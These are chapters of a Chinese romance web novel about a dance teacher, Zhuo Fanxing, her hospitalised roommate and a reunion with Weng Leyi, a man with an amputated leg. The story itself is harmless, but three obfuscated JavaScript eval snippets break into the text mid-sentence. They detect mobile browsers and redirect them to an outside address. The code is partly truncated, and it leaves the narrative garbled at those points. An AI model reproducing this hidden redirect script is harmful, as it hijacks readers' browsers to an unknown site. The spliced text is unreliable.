“谢谢。”邵丽丽有些受宠若惊。 “那你休息。” 十点多,她下楼上厕所,刚从卫生间出来,楼上踢踢踏踏,是邵丽丽下来了。她背着个lv的包,穿了件荷花领的连衣裙,臂弯上搭着一件黑色风衣。 “要出去?” 邵丽丽低头穿鞋说晚上不回来了,鞋穿好直起身,精致的脸上弯出一个笑,冲淡了五官的凌厉感。“你的暖宝宝我拿了几张,谢谢啊。” 卓繁星说:“没事,你用。” 她踩着八厘米的高跟鞋出去带上门,鞋跟蹬蹬蹬地敲在地砖上,走出很远都还能听见,像要上战场一样。 4. 第 4 章 如果几个小时之后的卓繁星告诉自己会在24小时里碰见翁乐仪两次,卓繁星肯定会冷冷地盯住她:“那你知不知道我连吃了三个冰淇淋大福,晚上会胃痛。” 邵丽丽被卷进了一场酗酒斗殴的事故中,而她根本不是什么简单的姨妈疼,她怀孕了。派出所联系不上她的家人,才联系上的她。 那边的警官试探性地问道:“能不能麻烦你去趟附二院,我们再联系联系她家里人,那边最好有个人在。” “好的。”卓繁星推开怀里的凯蒂猫,表情和声音一致地冷淡。身上出了汗,醒过来又好像体温调节失灵一样,打起了寒颤。 匆匆吃了一颗药,赶到医院。司机多看了她两眼——这姑娘表情实在难看,让人不免联想是不是遇到什么不好的事,不然怎么大半夜的急着往医院赶,眼神里不自觉便带了几分怜悯。 卓繁星不喜欢去医院,因为自卓强生病之后,她便成了常客。除开经年累月的复查,更叫她讨厌的就是她跟卓强一道做换肾手术那段日子。 ——好像是首都舞蹈学院的学生,长得真漂亮。 ——我听说先前不肯的,两夫妻跑学校里去找人。 ——啊?亲爹要死了,都不肯救啊。 ——这有什么,多的是这样的事。我瞧着父女关系不怎么近,那个女的也不是她亲妈,估计早离婚了,女儿是和妈妈长大的。你听他们口音又不是京市人,外地转院过来的。 ——那也不对,我看那女孩儿家里也没人出面过啊。 ——谁知道呀。家家有本难念的经。她愿意救她爸爸,还是心善的。 ——啧,小姑娘其实挺可怜的。 好烦。 耳朵里充斥着这样的声音,血抽了一管又一管。她错过了毕业典礼,错过了舞团的面试,躺在手术台,健康的人要摘掉一个器官。 她想到那些被卖到诈骗园区的人,新闻上说业务不合格,要摘掉抵债。 她也差不多。 一身血肉都还给卓强好了。他要什么就给他。 只是下辈子别生她了。 别和姚馨雅私奔了。 别痴心妄想。 别养不活了她就把她丟在姚家。 卓繁星看着天空中红彤彤亮着的“急诊”两个字,心和被风扫过的草甸一样,光秃秃的。 急诊室里挺热闹,还有两个警察,叉着腰站着。 她向护士问邵丽丽情况,警察听见了就走过来。 大致情况电话里都说过了,邵丽丽还没出手术室。酒吧里闹起来的事,没什么特别的,就是没想到怀孕了还跟着掺和。推搡起来摔酒瓶子,挥拳头,邵丽丽估计是想拉架,从楼梯上滚了下来。监控都调出来了,现在他们在这儿就是等人伤处理好了做笔录。 警察的话顿了顿,问:“你是她朋友?” 卓繁星说:“就是室友,租房子住在一块儿的,也没多久。你们所里给我打电话。” 警察点头。“是,联系不上她家里。” 他捋了一把头发,又把帽子戴回去,正想说话,科室里面吵起来。 卓繁星就看见一个卷发女人,情绪激动,扯着一个男人拍打,男的头上裹了一层纱布。 尖尖的指甲在男人脸上划出几道血痕。 “你对得起我么,你对得起我么!” “哎,干什么呢?!这里是医院!” 警察过去阻止,那女的抓紧又砸了两拳。 “要闹回去闹,这儿是医院。家属情绪控制一下。” 女人抹了一把眼泪,男人尴尬。“不好意思,我这就带她回去。” “你回去?那女的还在抢救呢。”警察都愣了。 女人又被刺激了,一下弹起来。“她自己做小三,勾引别人老公,死也活该。” 男人赶紧拉住她。“警察同志,我能不能先把人送回去。那边你联系她家里人过来。” “你俩什么关系?”警察淡淡一句话飞过去。 男人讪讪。“就是朋友。” “朋友?朋友你老婆这么激动。现在人在抢救,还没脱离危险,你以为是什么随随便便的事情。你跟她关系亲密,当时出事儿的时候是不是一道的,监控里都看着呢。” “那也跟我们家没关系!”女人又跳出来。 警察被这对夫妻搞的无语。“有关系没关系你说了不算,看证据。你老公是在现场参与斗殴,现在人清醒了是吧,刚好把笔录做了。”直接把人推到里面病房去。 信息量太大,卓繁星着实愣了一下,转头和护士台的值班护士对上。她眼睛斜挑着,一脸吃了烂瓜的样子,被发现了,对卓繁星还翻了个白眼。 卓繁星问:“手术大概要多久?” “我怎么知道,等着吧。”又说:“你方便的话去献个血,你朋友手术急,要是家属在,都是要献血的。刚才多亏了一个帅哥帮忙,不然血库里根本不够。” 卓繁星根本不打算去,往几个病房办公室那边走。 刚才听了那一出,就明白为啥要叫她。要是那男的是邵丽丽正经男朋友根本不需要她来。可她来了也帮不上什么忙,只能等邵丽丽手术出来。 背后的房间里传来警官质询的声音,时不时夹着女人的哭声。 卓繁星靠在墙上,头顶的灯亮的白茫茫的,胃又开始隐隐作痛。 “卓繁星?” 繁星循声看去。白天吴家院子里碰见人又站在眼前。 他头发有点乱的落下一缕在额前,一只手上贴着敷料。身边跟着一个穿西装的男人拿着他的外套。 卓繁星糊里糊涂地站起来,没来得及问,身后警官走出来。 “血献好了?” “好了。”翁乐仪问道:“警官,我同事那儿......” “人得先留着,监控已经调出来的,等我们分析了该是什么样就是什么样。斗殴是肯定的,就是责任大小。毕竟现在手术室里还躺着一个。” 翁乐仪点头。“明白。这边具体还有哪些要沟通的?我今天还要赶回京市。后续如果有任何需要我配合的,你们可以联系我的律师。” 他身边的男人颔首,握手道:“我姓郑,郑吴。是众鑫集团的法律顾问,也是翁先生的委托律师。被带到警局的李孟奇和杨志杰,是我们公司的员工。本来今天晚上是翁先生项目小组的一个聚会活动,没想到出了这个事儿。这也涉及到我们员工的切身利益,二位警官后续有任何的事项请务必和我联系,我们都会尽力配合。感谢二位。” 众鑫是做电池的。现在新能源发展迅速,众鑫的技术和产能都是全国领先的。众鑫在全国有多个工厂,Y市的工厂建在千禧年,两年前就在规划扩建升级。没想到碰到疫情,后来又有建筑工地挖出古墓的事,一下耽搁下来,如今重启,动静很大。 对方还都是客客气气的,警察自然不会为难。 “关键是人没事儿。” “是,是,谁也没想到。”郑律师无奈。这事还得低调,不好招了眼。 翁乐仪问卓繁星:“你身体不舒服?” 卓繁星抿了抿唇。“那个做手术的姑娘是我室友。” 他明显愣了下。“这么巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卓繁星仓促喝了一口奶茶,下了很大的决心。“你的微信换了?” 他看过来,她赶紧解释:“之前给你的微信转过钱,一直没有收。” “哦,我出国后不怎么用,后来换了个号码。”他压着烟头,不让烟雾飘过去。 那我重新加一下你吧。 繁星咬着吸管,看着地上的影子默默讲。 翁乐仪接到小王的电话。他送事发时一道参加聚会的两个女同事回家,现在折返回来。 那头说了什么,翁乐仪回道:“这边还没好,你累了找个地方咪一会儿,不用急着过来。或者干脆回酒店,我自己回京市。” 他的声音很平稳,带着一些温和的笑意,给她的感受和抱着的奶茶一样,让她想起冬天阳台上的阳光。 待人友善,恰到好处的风度和礼节。正合了家中长辈给他取的名字——乐仪。 卓繁星后来知道它取自诗经中的一首诗。 她鬼使神差地抄写下来。 “菁菁者尔,在彼中阿。既见君子,乐且有仪。菁菁者尔,在彼中沚。既见君子,我心则喜。” 看到翻译时,咬着指头,脸莫名其妙就红起来。 见到那个人呀,我的心里乐悠悠。 许多年后卓繁星都记得,她抱着本子躺在床上,听见了自己的心跳声。 5. 第 5 章 邵丽丽手术结束的时候天已经蒙蒙亮,她被推到ICU,情况暂时是稳定住了。 一群人往医院外面走,郑吴和两夫妻去警局。翁乐仪要去机场。 警官对卓繁星说:“这边我们尽量联系她家属,期间可能还是要多麻烦你。” 大晚上把人叫来,折腾一宿,其实和她没关系。女孩子乖巧安静,着实惹人怜惜。 卓繁星答应了,问这个事情会怎么处理。“她在医院的费用会有赔偿吗?”ICU价格不便宜,那边说要观察,也没有确切的时间。 警官顿了下低声道:“两边都不想闹大,大概率是走调解。你朋友这个情况不好说。涉及到赔偿,肯定要有证据,你朋友受伤的事故原因要查清楚。这个没这么快。主要是情况比较复杂,你也知道她和那个男的关系......”他扫了一眼一边的夫妻俩。“反正,我们这边尽量去协调。” “你怎么回去?要不要我们送你?” 卓繁星婉拒了。 小王把车子开过来,下车开门。翁乐仪扶着车门,人往前倒了一下,面色难看。 小王挡在他身前,卓繁星透过肩膀抬起的空挡看见他把手杖扔进去,小王在他手臂上托了一把,他人往里倾斜。腿搁好了,小王走开,关门的间隙,露出一张阴沉的侧脸。 “你,麻烦等我一下。” 她突然开口,让两人都瞬间看过来。 卓繁星跑向马路对面的药店。 “截肢,就是假肢带久了,不舒服,该买哪些药,怎么处理?”她趴在柜台上问店员,还要扭头去看一看窗外,车子还在。 坐夜班的大叔慢腾腾地站起来。“是不是幻肢痛啦,这种是神经性的,可以吃点药,度洛啊这些的,再热敷按摩。镇痛贴也可以。”他从柜子里拿出几种药,啪啪啪地放在上面。 又问:“哪里截肢啦?” “小腿。” “哦呦,这么厉害啊。” 老花镜里的眼珠转了一圈,走到另一边,踩着板凳上去,拿下一只塑封的大盒子来。“这个药浴很好的。这种毛病就是要多注意呀,要靠养的呀。这个里面十多种中药材,国家认证的,老中医开的方子,专门针对这种毛病。” 车里,翁乐仪把假肢卸掉。小王把热敷包拿出来,盖在他腿上。 “真是折腾人,有郑律师在,你逞什么强呀。”他碰见他这样不是一两次了,后来知道这叫幻肢痛。他老婆老家有个叔手指叫压床压烂了,就有这个毛病。听说和放电一样,一抽一抽的。疼起来要人命。 “这姑娘干什么去呀?” 卓繁星推门出来,跑的飞快,像一只清晨街头的鸟,从马路对面一路飞奔过来。到了车边上,她把袋子递过去,还喘着气。 “这个药我问了药剂师,吃了能缓解疼痛。一颗就行了。还有这个暖宝宝,可以敷在腿上。那个盒子里药包,能做药浴……” 翁乐仪不似往常温和,绷紧的下颚微微抬起,漆黑的眼珠睨着她,叫人想到冰冷的玉石一样的东西。卓繁星有些局促地停下。 小王说:“你去买这个啊,我们有,不用买的。” 卓繁星局促更甚,赶紧收回来。下一秒翁乐仪勾住袋子放在一旁。 “谢谢。” “不好意思耽误你们时间了。”卓繁星将两只局促的手插回口袋。“那再见。”她退后一步,向他道别。 “嗯,再见。” 车窗一点点遮住他的脸。消失前,繁星看见他闭着眼靠在椅背上。 ...... 他一定很疼。 卓繁星坐在车里,看着外面冷清的街道。 城市还未苏醒,淡而薄的空气像一层薄薄的纱。 她按下车窗,感受到微凉的风将发丝吹起,这让她稍微好受一些。 她身体里的一颗器官被摘掉都觉得空荡荡的,他怎么会不疼。小腿不见了,幻肢疼是因为大脑在找它。 神经的记忆还在。 就好像她的一样。 她脑中闪过的所有有关他的样子都是健康有活力的,像一株干净而显眼的小白杨。 运动会上跳高,在舞台上吹萨克斯。 半长的头发上沾着零星彩片,他扶着萨克斯的胳膊鼓起清晰的肌肉线条,修长的手指在萨克斯上起落按压。 主唱开始唱 “Ihearthecrystalraindropsfall.” 那是一首经典的爵士乐,名字叫《justthetwoofus》。 他随性自由,像旷野里的风,迅疾地在繁星心中掠过。连他额上的汗水都像水晶,那样的耀眼。让卓繁星只能将眼睛落在他身上,看不见其他人。 他喝酒的样子,拎着啤酒瓶随着音乐摇摆的样子,把酒瓶搁下调整乐器的样子,唱歌的样子,被灯光照着流汗的样子,所有的样子...... 我看见了晶莹的雨水在落下 当太阳出来时 一切都显得那么美丽 ...... 只有我们两个 你和我 卓繁星回到家躺下后,诡异地想,她缺失了一点,他也是,怎么不是一种诡异的双向奔赴。 他的脚活过来,去找到了她的器官。他们手拉着手一起回来,一个跳进她肚子里,一个连上他的膝盖。他走到她面前笑着说:“你看,他们一起回来了。” 卓繁星醒过来,窗帘遮挡严实,屋里黑的像夜。她摸了摸身上的疤痕,为自己乱七八糟的梦笑出声。 简单吃了点东西就赶去工作室。 时间是下午两点,前台的小孟看见她奇怪道:“繁星姐今天来这么早?” “我有一节试课,约在3点。” “哦。这样。我可能忘记了。”她赶紧去翻了一下微信,果然有发哎。“潘潘还没来。” “她和我说了,2点半到。我去看一下舞蹈室,你方便的话安排一些水果点心。” “好的,交给我。” 因为开学了,白天上课的学生基本没有,工作室白天3点前的教室安排做成人瑜伽和Zumba。比起暑假的时候,安静了许多。 今年以后,繁星主要的课都在这间舞蹈室,偶尔才会去另外一家店。 这说起来又是一桩叫人觉得唏嘘又司空见惯的事。都说贫贱夫妻百事哀,然而能共患难却不能共富贵的夫妻也不少。 工作室原先的名字叫安可,是老板何安琪和丈夫赵珂创业时起的。赵珂主运营,何安琪做老师,十年过去在Y市和临市发展了五家店,何安琪生了二胎后做了几年全职主妇,赵珂就出轨了。 去年离婚分家,何安琪最后抢下来两家店,两人闹的难看,折腾了大半年才算稳定下来。繁星在的这家作为主店,搬迁后重新装修,名字改叫安琪。 卓繁星检查了一下舞蹈室,简单做了一下消毒,潘潘就来了。她是个胖乎乎的小姑娘,给繁星做助教有两年了。 “繁星姐,我快烦死了。”潘潘一进来就要趴繁星身上。 繁星压着腿呢,镜子里像被一只粉红色的小熊抱住了一样。 “怎么啦?”她反手拍拍她。 “乔诗情呀。你说她去韩国旅游,怎么能叫我给她P照片,剪视频呢。这又不是工作。她自己发朋友圈,发xhs,凭什么叫我给她弄呀。” 乔诗情是潘潘负责的另外一个老师,也是跳中国舞的。 她是今年刚招来的常驻舞蹈老师,学历样貌都拿的出手。何安琪虽然在家呆的久,但也知道做舞蹈工作室,尤其以少儿教学为主的工作室,非常看重老师的能力。毕竟家长花钱来是要看到成果的,可不像成人,只要提供足够的情绪价值。 好的老师难找,如果是以前工作室稳定可能还好,可现在这出分家闹剧行业里稍一打听就能知道个大概。 谁能信她一个没有运营经验的家庭主妇。 还有她那个前夫,放出话来,没有他,她这家工作室必倒。他已经算是仁至义尽了,给了一套房,孩子生活费五千一个月,她还不满意。人心不足蛇吞象,这几家店都是他打自己打拼出来的,她帮了什么忙。 赵珂几乎带走了整个团队。那段时间,卓繁星眼见着店里鸡飞狗跳。 家长听见风声闹着要退钱,投诉电话打了一个又一个。没有老师,卓繁星顶上去,两天功夫喉咙就哑了。 熬了大半年,现在渐渐步入正轨。 何安琪为了节省开支搬了店。虽然比不上原先,但自己的团队终于是组建起来,工作室的名字也改成了安琪。 何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067309|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安琪做富太太那几年,虽然管的少,但手机玩的溜。其中一个给乔诗情拍的舞蹈视频误打误撞出圈了。从那之后,她时不时就让乔诗情出镜,以古风舞蹈为主,搭配上精致的古风妆容,偶尔加上一些生活流,比如舞蹈老师工作的一天之类的。 潘潘凑到卓繁星耳朵边说:“她自己开号发视频呢。” 繁星说:“这也正常。”又不是经纪公司,工作室对她其实没有什么约束力。“何姐肯定也知道。” 潘潘哼哼两声,还是不大满意。“可她拍视频的服化道都是咱们提供的呀。你不知道,上次为了拍那组唐风的舞蹈,服装是定制的,花了不少钱。还有摄影,咱们自己这草台班子能拍出那么好的效果么。我们工作室发了没半小时,她直接自己号上也发了,也没标注咱们工作室。” “最气的是,我和你讲,她现在什么活都叫我干。我是助教!又不是她的私人助理!” 卓繁星捏了捏她的脸。“那你就别干,又不是她给你发工资。” “我,我肯定不干呀!”她的脸软绵绵一团,繁星揪着,她一点都不反抗。 真是太可爱了。 “繁星姐,我们结束了去看电影吧。《奇怪的夏天》,最近超火。我先前一听是倪玉城的片子,根本没想去看。结果网上都说好,朋友圈也刷屏了。” “什么片子啊?” “爱情悬疑这类的,你看过《满庭芳》吗,那个片子就是倪玉城拍的,特别火当年,就是后来不知道怎么回事儿被下了降头一样,拍了一堆大烂片。” 潘潘把预告找出来给她看。 一分钟的预告放完,自动跳到导演携主创点映的视频。 卓繁星愣了下。“他现在这么胖了。” “是呀,当年《满庭芳》那么火,倪玉城还在南加大读研究生,都说他是新生代导演领军人物,领奖的时候带个眼镜,小卷毛,可帅了。结果没想到,这才几年啊,已经朝着油腻大叔的方向靠拢了,不对,已经是了,头发都没了。” 这时候画面里的倪玉城正被主持人cue到,讲到电影创作过程中的困难,声泪俱下。 “我尤其要感谢我的好朋友,Arthur,他给予我非常大的支持,让我能够坚持下去,把这个故事呈现出来。” 主持人说:“那不知道这位先生有没有到现场?他一定是我们倪导非常好的朋友了。” “是我兄弟,当年我还没毕业,投资人都不相信我,只有他给我信任。他人在国外,我想我能够做的就是拍好这部电影,让更多的人看到这个故事,这就是对他最好的感谢。也谢谢大家的支持,谢谢大家愿意相信我,相信我还能给大家创作出好的作品。谢谢。” 潘潘笑着说:“确实是真兄弟了,他之前拍了那么多逆天的大烂片,还能给他投钱。” “我们晚上去看吧。”她抱着繁星的手臂晃呀晃。 “今天不行。”卓繁星摸了摸她脑袋。“我昨天没睡好,没力气。” “啊......”她一下盯住她。“怪不得我看你黑眼圈好重,但是怎么办,还是那么漂酿。斯哈斯哈。”她贴在她身上蹭了蹭。 繁星被逗笑,推开她。“好啦,时间差不多了,去看看试课的家长来了没。” 到了星期五早上,卓繁星突然接到医院的电话,说邵丽丽已经从ICU转到普通病房了。 她没想过邵丽丽家人竟然到现在还没出现。 到医院的时候,邵丽丽的床头柜旁放了一沓钱,护工说:“有人来闹啦,说她做小三,勾引她老公,钱直接扔到她床上。那个话说的难听哦,说这点钱就当给她做手术的营养费,叫她不要联系她老公了。要是再敢联系,要把她拉到大街上甩她巴掌咯。你说现在小姑娘漂漂亮亮的,怎么就.....” “我知道了。”繁星打断她,走进去。 隔壁床的小夫妻就在抱怨:“这样来闹,我怎么休息的好。”有老妈来送饭,一家人叽里呱啦的,声音不小。 “还有这种事情,也不要怪人家来,要是我也不肯的。” 邵丽丽一个翻身拉开帘子。“是哦,那你要当心点,小心我勾引你老公。” “你说什么!” “一群傻逼。” 她把帘子一放躺回去,卓繁星看的目瞪口呆。 6. 第 6 章 邵丽丽喜提单间。 实际是和一个每天要回家的阿姨一起。 这也足够好了。实在是她战斗力太强,让医院只能避其锋芒。 “这种人没素质的,我们不敢和她住的,我女儿要养身体,还不知道要出什么事嘞。” “她说要勾引我老公哎!护士姐姐,你听听她说的话呀。这种人都有的!” 卓繁星提着牛奶水果,面皮微红,后背跟被人撵着一样,扶着邵丽丽去新病房。 和她的嘴巴相比,她实际战斗力为负。几十米的路走了两三分钟。 “谢谢你啊。”她还在气头上,声音也有些硬。 “你家里人不来吗?” “他们在外地,远的很,我现在没事了呀。” “......” 繁星多少能理解她这样做的原因。毕竟不是什么体面的事,或许她家里根本不知情。 “事故原因出来了吗?” 邵丽丽冷笑一声:“叫我别闹了。今天那个女的就是来警告我,给这点钱就是我的营养费了。你说搞笑不搞笑。” 卓繁星没开口。她本来就是受害者,现在还要给老公擦屁股,实在是很晦气了。扭头看了眼虚弱无力又被气的不轻的邵丽丽,怎么不算是一桩大快人心的事呢。 “怎么了?” 卓繁星转过去。“没什么,你可以去问问警察,上次处理事情的警官人还不错。” 邵丽丽敷衍地说好。 新病房里,隔壁床的阿姨做检查去了,屋里安安静静。 邵丽丽有点虚脱地倒在床上。“还好换过来了。你都不知道隔壁床那女的妈妈打呼打的多响,我根本睡不着。早上好不容易睡一会儿,她倒好,五点钟起来刷牙洗脸,捧着个手机刷视频。我说阿姨你声音轻一点,她说我还不轻啊,都听不见了。你说SB不SB。” 卓繁星说:“那你今天晚上应该能睡好了。” 她嗯一声,一头卷发失去光泽,像干枯的稻草。 护工收拾好洗漱用品出来问她:“到饭点了,你要吃什么?小姑娘要一道吃不?” 卓繁星摇头,把牛奶水果搁在床头柜。“我回去吃,你休息,我先走了。” 出了住院楼发现手机落下了,折返回去,刚好遇上下来的护工阿姨。 “她难弄的呀。问她要吃什么,她就说随便。那我菜打上去,她又挑三拣四,说太油了,太甜了。你说说,我难弄的呀。脾气大的很。” 卓繁星尴尬地笑笑,上了电梯。 病房里邵丽丽半坐着,在打电话。 “你什么意思?你当时怎么和我说的?你说你和她肯定要离的!这话是不是你说的?是不是?!” “我图你什么了?啊?我图你什么了?你说清楚!” “是,你钱多。可我肚子里是不是你的种。你有本事自己管好那二两肉,别到处播种啊。那是你老婆么,我算是明白了,那是你妈吧。” “你是不是就故意那天叫我去的,是不是你推的我。你怕你老婆抓住把柄,让你净身出户你一分钱都拿不到是不是?” 那头不知道说了什么,邵丽丽情绪激动地拍被子。 “好,好!我跟你说!你要是不给我个说法,我去你公司门口拉横幅!我光脚的不怕穿鞋的,你等着看吧!” “你个傻逼玩意儿!王八蛋!” 卓繁星有些尴尬地推门进去,她转过来的眼睛里挂着泪。 “你怎么回来了?” “手机忘拿了。” “哦。”这声哦充满了鼻音,翻身下床去了卫生间。 卓繁星等了一阵都没见她出来,走过去,她门没关,就站在水池跟前。 “我知道你不想多跟我接触。” 卓繁星没有反驳。她吸了吸鼻子,眼泪控制不住地又落到下巴,自嘲道:“我知道他有老婆。他挺有钱的,对我也很大方。他说他和他老婆没感情了,我肚子大了,他要儿子呀。哪里想到这么衰。他离了他老婆啥也不是。” 哭久了,眼周那圈皮肤都被泡的通红。 “两万块钱肯定不够的。他要是敢,我到他公司门口拉横幅去。” 卓繁星不说话。 “干嘛,叫我这个小三吓到了?” 卓繁星老实点头。“你先管好你身体。” 她把鼻子擦干净,太用力,鼻子都擦破皮了。一张纸被捏成一小团,恶狠狠地扔掉。 “我刚忘了讲,能不能麻烦你回去给我拿一下梳子,还有我的面霜,精华、眼霜,再给我拿两盒面膜。梳子在卫生间,面膜没拆封的在衣柜旁边那个收纳盒里面。你要不想过来,给我寄快递到付就行。麻烦了。”她从镜子转过来看她。 “......好。你钥匙给我。” “在我包里,我再想想还要带什么。”她走出去的,卓繁星把她扶到床上,她手指着柜子说:“麻烦你拿一下。” 卓繁星拿着那串钥匙还没走出医院,手机里很快来了一条短信。 【还有我床头柜的香水,麻烦也带过来。医院里的味道太难闻了。哭哭。】 卓繁星看着这条信息,这姑娘让她想到红头发炸毛美人鱼玩偶。 【好的。】她打字回过去。 卓繁星不会真的快递过去,她暂时没有要搬家的想法。 她对邵丽丽实在说不上讨厌。她还记得自己搬家的那天,loft式的公寓,楼梯陡而窄。搬家的师傅把行李搬到客厅就溜的飞快,卓繁星吭哧哧搬到一半,这姑娘穿着性感睡裙出来,一头浓密的大波浪,眉毛倒竖。 “要死啦,大清早让不让人睡觉了。” “不好意思,打扰你了。” 卓繁星是软面的脾气,或者说是懒得记心上,懒得纠结。她习惯了低头,只要把眼前的事做好。她没那么多气,过不到脑子里。 “你自己搬啊?搬家的人呢?”她在楼梯上往下看,好家伙,东西看着不算多,但是全叫她收拢在一起,两个大箱子,一个大布袋,高度比她都高。 “要死啦,你怎么不叫他给你搬上来。” “他说已经送到家了。” “哦豁,跑的倒快。这里上来有电梯,要他多少功夫。他做到你这笔生意笑都要笑死了。”她踩着拖鞋下来,托着卓繁星的布袋往上走。 “我叫邵丽丽,平面模特。云城人。” “我叫卓繁星,老家是临县的。” “那你是本地人了。” ...... 转眼就到了九月末,与翁乐仪的碰面就好像池水里投进去的石子,即便初时惊动,很快也就了无痕迹。 或许老天听见她哭穷的声音,卓繁星顺利接到了私教课,后面何安琪还介绍了一个富太太,给她的女儿做上门辅导。 虽然通勤时间太长,但是一节课抵得上三节普通私教课,卓繁星还有什么不满意的。 小姑娘Bella只有五岁,穿着练功服,两条白色的小腿露出来,像只长了腿的小南瓜。卓繁星觉得这样的孩子非常可爱,可妈妈陈女士显然不这样认为。 “Bella你要认真一点,晚上daddy过来,你要给他展示一下成果好么。” “Bella你的手为什么跟不上你的脑子。” “Bella你可以优雅一点么!” Bella Bella...... 卓繁星觉得这位陈女士的声音特别高亢,以至于后来每次听见都毛骨悚然,有种随时要被炒鱿鱼的感觉。 第一次上完课陈女士就坐在茶几后面,搁下咖啡杯,挑剔道:“其实我本来想给Bella还是找一个芭蕾老师的,毕竟她在美国的时候就是学芭蕾的。要不是知道何安琪在开工作室,我已经联系舞蹈学院的老师了。” 她目光扫过卓繁星,皮笑肉不笑的。 第一堂课结束,卓繁星惴惴不安地联系何安琪。 “老板,恐怕对方不太满意。” 何安琪白了她一眼,发动着她那辆车衣是粉红豹的小电车,载着她去吃烧烤。 “放心吧,她才不会不满意。” “我被老公抛弃,一个女人这把年纪还要自己闯事业。帮帮忙,她听见的时候都笑死了好伐。她自己联系我的要来拯救我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“卓老师今日课程上完就早点回去吧。今天家里有沙龙。”陈女士讲,尾音上翘,配合着眉眼一并飞扬起来。卓繁星每每这时候就想到何安琪的话。“你看她说话喜欢夹两句英文,我告诉你,她英文都不大讲得溜的。” 卓繁星上课的时候,Bella就邀请她:“家里有聚会,老师留下来一起玩吗?” 卓繁星拒绝了,小姑娘也没太伤心。“妈咪忙了好多天了,昨天还在问这条裙子好吗?还是那条裙子好。”她嘻嘻笑着。 被蛐蛐的陈女士又上楼整理了一番妆容,一早出门打理的头发难免有些凌乱了。 保姆上来叫她说:“夫人啊,大少爷带着朋友来啦。” 陈女士最不喜欢就是这副老式做派,叫什么大少爷。她剜了一眼保姆,扶着楼梯,热情道:“阿旺来啦。” 洪旺也热情应道:“阿姨好。”转头小声对蒋凌州说:“这就是我爸后面娶的护工。” 陈女士已经到了跟前,目光落在蒋凌州身上不免惊艳。“这位是......” “我美国的同学,Arthur。” 蒋凌州客气点头。“劳您辛苦了。” 陈女士顿时笑的花朵一般。 楼上突然传来脚步声,几人抬头看,看见一截白色的蓬蓬纱裙摆。 “Bella。”陈女士拧眉喊道:“你的课还没结束,不要偷懒。” “她太调皮了。”陈女士说这些话时总有些炫耀的意味,不知道她自己知不知道。 洪旺问:“爸爸还没回来?” “临时有个会,应该快到了。” “我先上去换件衣服。” 陈女士殷勤道:“好,你们先去休息,我叫保姆送茶上来。” 两人上了楼梯,二楼角落传来音乐声,还有细微的女声。 “应该是我妹妹在上舞蹈课。”洪旺见他感兴趣,顺势就往那边走。“要去看看么,我那位继母想将她培养成白天鹅。” 他耸耸肩,蒋凌州不置可否。 7. 第 7 章 “洪先生回来了。” “走吧,Arthur。” 远去的脚步声让卓繁星毛骨悚然。那一面让她刻意遗忘的记忆卷土重来——那人噙着笑的嘴角,微冷的眼睛,不可一世的傲慢。她感觉心脏砰砰跳的厉害,鼓噪着耳膜。眼前的一切都失去了焦点,只有耳边的声音。 “老师,卓老师。”Bella的叫声将她唤醒,他们在镜子里对视。 小姑娘转过来,一只手摸在她额头上。“你看起来不太好,要不要叫Amy来。” “我没事,谢谢你Bella。”卓繁星终于找回了一丝温度,心脏渐渐回到原位。 Amy很快进来。“卓老师,课程结束了吗?夫人叫我来领小姐去换衣衫。先生已经归家了。” “噢,你的脸色看起来很差。”她在繁星脸上逡巡。 Bella说:“Amy也发现了是不是,她可能是饿了。有一次我不肯吃晚饭,妈咪也不给我零食吃,我就是这样。” Amy马上说:“需要给你准备一些点心吗?厨房里有,我去拿来。” 卓繁星急忙拦住她。“没事Amy,我没有不舒服。夫人叫我不必去给她汇报,我就先回去了。” 卓繁星这时分外庆幸洪家的讲究,她从佣人专用的电梯离开,绝对打扰不到主人和客人。 只是这也注定了,她需得走过一段不算短的路程,才能坐上车。 即便在Y城六年,若非接了这份差事,她甚至都不知道Y城还有这样的地方。 它有一段极具仪式感的蜿蜒小道,隐藏在周围高密的林荫道中。外面远远的就设了岗哨,不许外面的车随意进入。如报姓名,去哪家哪户,保安便会拿起电话拨打内线,有了主家确认才会放行。 卓繁星闷着头往外走,细密的雨丝落下,街景朦胧,林荫道上的铜制小灯发出暖黄色不真实的光晕。 卓繁星心里的鼓噪随着一步步的远去平复下来。这没什么,只是虚惊一场。她该想想晚饭吃什么。要不要点外卖,坐上公交再点吧,这样时间差不多。那是吃饭还是吃面呢。吃粉丝汤吧。这样的雨天,适合吃点热乎乎的。 就这样决定了。 远处一辆黑色轿车缓缓驶来,擦身而过时,那辆车在她身后停了下来。 “卓繁星。” 她先是看见驾驶位上的司机,随后才注意到后座上的翁乐仪。 她整个人陷入一种反应迟钝的状态,不然怎么解释他邀请她上车后,她就乖乖坐上来了呢。 副驾上的助理安杰建议道:“要不先把您送到洪教授家?” 卓繁星猝然惊醒。“不必了,我自己走过去就行,不是很远。”她一下子竟然还找不到开车门的按钮,慌乱地像只钻地的鼹鼠。 “先送她去公交站。” 翁乐仪一锤定音,安杰目光在卓繁星身上顿了片刻,很快收了回去。 “你在这里做什么?” “兼职。” 翁乐仪听出她不愿多谈。 